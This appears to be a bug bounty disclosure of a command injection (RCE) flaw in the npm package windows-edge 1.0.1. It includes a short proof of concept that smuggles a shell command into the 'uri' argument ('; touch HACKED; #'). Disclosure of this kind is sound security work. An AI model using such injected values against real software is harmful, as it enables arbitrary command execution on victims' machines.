How it was found

I would like to report a RCE issue in the windows-edge module. It allows to execute arbitrary commands remotely inside the victim's PC

Module

module name: windows-edge version: 1.0.1 npm page: https://www.npmjs.com/package/windows-edge

Module Description

Launch a new Microsoft Edge tab on Windows

Module Stats

[102] downloads in the last week

Vulnerability Description

The issue occurs because a user input is formatted inside a command that will be executed without any check. The issue arises here: https://github.com/eugeneware/windows-edge/blob/master/index.js#L8

Steps To Reproduce:

1. Create the following PoC file:

// poc.js
const edge = require('windows-edge');
edge({ uri: 'https://github.com/; touch HACKED; #' }, (err, ps) => {})

1. Check there aren't files called HACKED
2. Execute the following commands in another terminal:

npm i windows-edge # Install affected module
node poc.js #  Run the PoC

1. Recheck the files: now HACKED has been created :) {F835199}

Patch

Don't format commands using insecure user's inputs :)

Supporting Material/References:

• [OPERATING SYSTEM VERSION]: Kali Linux

Wrap up

• I contacted the maintainer to let them know: [N]
• I opened an issue in the related repository: [N]

Impact

RCE via command formatting on windows-edge